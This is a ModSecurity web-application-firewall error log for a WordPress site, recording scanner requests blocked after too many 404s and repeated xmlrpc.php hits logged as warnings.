[Thu Apr 09 19:53:58.515181 2026] [:error] [pid 20837:tid 20862] [client 20.234.89.162:9119] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adeTVvSL71FHZkjrGzPe_AAAAZc"]
[Thu Apr 09 19:53:59.107381 2026] [:error] [pid 18477:tid 18486] [client 20.234.89.162:8876] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adeTV8De826HlFeoLPKUtQAAAUc"]
[Thu Apr 09 19:53:59.752088 2026] [:error] [pid 18477:tid 18495] [client 20.234.89.162:8944] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adeTV8De826HlFeoLPKUtwAAAVA"]
[Thu Apr 09 19:54:00.464566 2026] [:error] [pid 24624:tid 24639] [client 20.234.89.162:8856] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adeTWO4Jn-WvK1ZBTvjOMQAAAM0"]
[Thu Apr 09 19:54:01.198035 2026] [:error] [pid 18477:tid 18499] [client 20.234.89.162:9117] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adeTWcDe826HlFeoLPKUuwAAAVQ"]
[Thu Apr 09 19:54:02.082221 2026] [:error] [pid 24927:tid 24951] [client 20.234.89.162:8859] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adeTWjXObuzEuw8mNJsYgwAAARU"]
[Thu Apr 09 19:56:38.393500 2026] [:error] [pid 24515:tid 24531] [client 217.160.15.203:59586] [client 217.160.15.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.15.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeT9q1OMnvM2fMnB1OX2QAAAAw"]
[Thu Apr 09 20:00:44.980822 2026] [:error] [pid 24624:tid 24631] [client 57.129.6.170:51402] [client 57.129.6.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.129.6.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeU7O4Jn-WvK1ZBTvjP8gAAAMU"]
[Thu Apr 09 20:01:37.327886 2026] [:error] [pid 18477:tid 18487] [client 93.190.48.15:52272] [client 93.190.48.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.190.48.15, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeVIcDe826HlFeoLPKVcAAAAUg"]
[Thu Apr 09 20:04:09.239586 2026] [:error] [pid 63331:tid 63339] [client 51.75.54.138:47424] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeVuSbKfIYuVjWbE4VOEAAAAcY"]
[Thu Apr 09 20:06:49.595490 2026] [:error] [pid 63331:tid 63353] [client 167.86.71.49:38772] [client 167.86.71.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.71.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeWWSbKfIYuVjWbE4VP6wAAAdQ"]
[Thu Apr 09 20:10:49.043311 2026] [:error] [pid 63331:tid 63354] [client 185.225.22.51:42348] [client 185.225.22.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.225.22.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeXSSbKfIYuVjWbE4VS9QAAAdU"]
[Thu Apr 09 20:31:43.300661 2026] [:error] [pid 18477:tid 18483] [client 13.235.96.22:57666] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adecL8De826HlFeoLPKZsAAAAUQ"]
[Thu Apr 09 20:33:59.617881 2026] [:error] [pid 24517:tid 24582] [client 204.48.18.182:44944] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adect3boYEn2ZFM_PS9-cgAAAIg"]
[Thu Apr 09 20:44:31.740364 2026] [:error] [pid 63331:tid 63356] [client 212.7.160.134:59608] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adefLybKfIYuVjWbE4VohwAAAdc"]
[Thu Apr 09 20:47:09.189674 2026] [:error] [pid 20837:tid 20860] [client 103.205.142.28:44254] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adefzfSL71FHZkjrGzPuuQAAAZU"]
[Thu Apr 09 20:59:28.918649 2026] [:error] [pid 24516:tid 24549] [client 143.198.103.235:47982] [client 143.198.103.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.103.235, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeisNhW7vSS-UkeWCUw1AAAAEI"]
[Thu Apr 09 21:05:01.659005 2026] [:error] [pid 18477:tid 18492] [client 66.70.178.228:50394] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adej_cDe826HlFeoLPKeJwAAAU0"]
[Thu Apr 09 21:09:19.135755 2026] [:error] [pid 24624:tid 24639] [client 51.83.35.19:41720] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.35.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adek_-4Jn-WvK1ZBTvje4QAAAM0"]
[Thu Apr 09 21:15:11.166827 2026] [:error] [pid 24624:tid 24641] [client 185.226.232.56:33704] [client 185.226.232.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.226.232.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ademX-4Jn-WvK1ZBTvjgKwAAAM8"]
[Thu Apr 09 21:21:26.996951 2026] [:error] [pid 18477:tid 18480] [client 51.38.230.115:60638] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aden1sDe826HlFeoLPKgPgAAAUE"]
[Thu Apr 09 21:24:56.528179 2026] [:error] [pid 24515:tid 24522] [client 103.110.84.178:56474] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeoqK1OMnvM2fMnB1PBfgAAAAM"]
[Thu Apr 09 21:32:43.138707 2026] [:error] [pid 24927:tid 24938] [client 95.173.103.120:55674] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeqezXObuzEuw8mNJspSgAAAQg"]
[Thu Apr 09 21:34:23.390554 2026] [:error] [pid 63331:tid 63348] [client 188.166.14.36:47164] [client 188.166.14.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.14.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeq3ybKfIYuVjWbE4V4wQAAAc8"]
[Thu Apr 09 21:35:56.321955 2026] [:error] [pid 20837:tid 20843] [client 223.233.77.246:17724] [client 223.233.77.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.77.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aderPPSL71FHZkjrGzP6egAAAYQ"]
[Thu Apr 09 21:37:03.437735 2026] [:error] [pid 24515:tid 24539] [client 188.166.244.214:35572] [client 188.166.244.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.244.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aderf61OMnvM2fMnB1PG9QAAABQ"]
[Thu Apr 09 21:38:10.028893 2026] [:error] [pid 24927:tid 24946] [client 72.61.3.94:49830] [client 72.61.3.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.61.3.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aderwjXObuzEuw8mNJsqMAAAARA"]
[Thu Apr 09 21:39:42.267797 2026] [:error] [pid 24515:tid 24541] [client 34.67.6.8:40870] [client 34.67.6.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.6.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adesHq1OMnvM2fMnB1PIBQAAABY"]
[Thu Apr 09 21:41:08.333880 2026] [:error] [pid 24516:tid 24555] [client 156.38.230.175:33740] [client 156.38.230.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.38.230.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adesdNhW7vSS-UkeWCU27QAAAEg"]
[Thu Apr 09 21:44:03.874647 2026] [:error] [pid 24515:tid 24531] [client 85.128.143.131:55714] [client 85.128.143.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adetI61OMnvM2fMnB1PKiAAAAAw"]
[Thu Apr 09 21:49:38.255576 2026] [:error] [pid 24515:tid 24540] [client 5.101.50.197:34818] [client 5.101.50.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.101.50.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeucq1OMnvM2fMnB1PPxgAAABU"]
[Thu Apr 09 21:54:08.864312 2026] [:error] [pid 63331:tid 63335] [client 167.86.71.49:37346] [client 167.86.71.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.71.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adevgCbKfIYuVjWbE4WBiQAAAcI"]
[Thu Apr 09 22:01:56.005387 2026] [:error] [pid 20837:tid 20854] [client 108.61.144.195:51588] [client 108.61.144.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.61.144.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adexVPSL71FHZkjrGzMC1AAAAY8"]
[Thu Apr 09 22:02:55.758374 2026] [:error] [pid 24515:tid 24543] [client 212.129.7.184:56020] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adexj61OMnvM2fMnB1PYIwAAABg"]
[Thu Apr 09 22:04:24.501479 2026] [:error] [pid 24516:tid 24565] [client 95.173.103.120:60774] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adex6NhW7vSS-UkeWCU5hwAAAFI"]
[Thu Apr 09 22:07:50.314844 2026] [:error] [pid 24624:tid 24636] [client 217.216.48.92:53096] [client 217.216.48.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.48.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeytu4Jn-WvK1ZBTvjq8QAAAMo"]
[Thu Apr 09 22:09:34.113972 2026] [:error] [pid 63331:tid 63353] [client 159.203.177.184:54852] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adezHibKfIYuVjWbE4WJ-AAAAdQ"]
[Thu Apr 09 22:15:34.037846 2026] [:error] [pid 24515:tid 24524] [client 217.182.82.42:55200] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade0hq1OMnvM2fMnB1PdPgAAAAU"]
[Thu Apr 09 22:19:27.951988 2026] [:error] [pid 24515:tid 24541] [client 130.51.80.27:17218] [client 130.51.80.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.51.80.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade1b61OMnvM2fMnB1Pf5QAAABY"]
[Thu Apr 09 22:26:59.213770 2026] [:error] [pid 20837:tid 20841] [client 223.233.77.246:7270] [client 223.233.77.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.77.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade3M_SL71FHZkjrGzMKJwAAAYI"]
[Thu Apr 09 22:29:42.874871 2026] [:error] [pid 18477:tid 18500] [client 212.132.70.123:49584] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade31sDe826HlFeoLPKomgAAAVU"]
[Thu Apr 09 22:31:05.081177 2026] [:error] [pid 63331:tid 63334] [client 88.198.106.177:39014] [client 88.198.106.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.106.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade4KSbKfIYuVjWbE4WRqQAAAcE"]
[Thu Apr 09 22:31:05.921721 2026] [:error] [pid 24515:tid 24537] [client 107.180.241.110:55140] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade4Ka1OMnvM2fMnB1PkkgAAABI"]
[Thu Apr 09 22:33:39.162911 2026] [:error] [pid 24516:tid 24571] [client 51.83.35.19:36418] [client 51.83.35.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.35.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade4w9hW7vSS-UkeWCU8kQAAAFg"]
[Thu Apr 09 22:33:46.201667 2026] [:error] [pid 63331:tid 63356] [client 5.56.58.240:57766] [client 5.56.58.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.56.58.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade4yibKfIYuVjWbE4WSXQAAAdc"]
[Thu Apr 09 22:34:02.535927 2026] [:error] [pid 24515:tid 24525] [client 34.34.78.57:38642] [client 34.34.78.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.34.78.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade42q1OMnvM2fMnB1Pl5QAAAAY"]
[Thu Apr 09 22:34:55.794931 2026] [:error] [pid 24624:tid 24650] [client 212.125.4.206:34454] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade5D-4Jn-WvK1ZBTvjwSwAAANg"]
[Thu Apr 09 22:35:28.159108 2026] [:error] [pid 63331:tid 63348] [client 180.181.244.244:56160] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade5MCbKfIYuVjWbE4WS4QAAAc8"]
[Thu Apr 09 22:41:33.768460 2026] [:error] [pid 63331:tid 63342] [client 5.45.69.27:44466] [client 5.45.69.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.45.69.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade6nSbKfIYuVjWbE4WVLwAAAck"]
[Thu Apr 09 22:45:42.977910 2026] [:error] [pid 63331:tid 63334] [client 185.41.185.211:52480] [client 185.41.185.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.41.185.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade7libKfIYuVjWbE4WXCwAAAcE"]
[Thu Apr 09 22:46:00.732298 2026] [:error] [pid 20837:tid 20841] [client 85.128.143.123:38128] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade7qPSL71FHZkjrGzMOFgAAAYI"]
[Thu Apr 09 22:50:18.146572 2026] [:error] [pid 20837:tid 20842] [client 108.61.144.195:42660] [client 108.61.144.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 108.61.144.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade8qvSL71FHZkjrGzMP0gAAAYM"]
[Thu Apr 09 22:52:37.111502 2026] [:error] [pid 24516:tid 24547] [client 143.198.103.235:52376] [client 143.198.103.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.103.235, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade9NdhW7vSS-UkeWCU_ZAAAAEA"]
[Thu Apr 09 23:04:02.321353 2026] [:error] [pid 63331:tid 63354] [client 130.211.86.10:21383] [client 130.211.86.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.211.86.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ade_4ibKfIYuVjWbE4WgMQAAAdU"]
[Thu Apr 09 23:10:03.465033 2026] [:error] [pid 20837:tid 20856] [client 217.216.48.92:56740] [client 217.216.48.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.216.48.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfBS_SL71FHZkjrGzMWGgAAAZE"]
[Thu Apr 09 23:13:29.106517 2026] [:error] [pid 24515:tid 24539] [client 147.135.255.201:36698] [client 147.135.255.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.135.255.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfCGa1OMnvM2fMnB1P5zgAAABQ"]
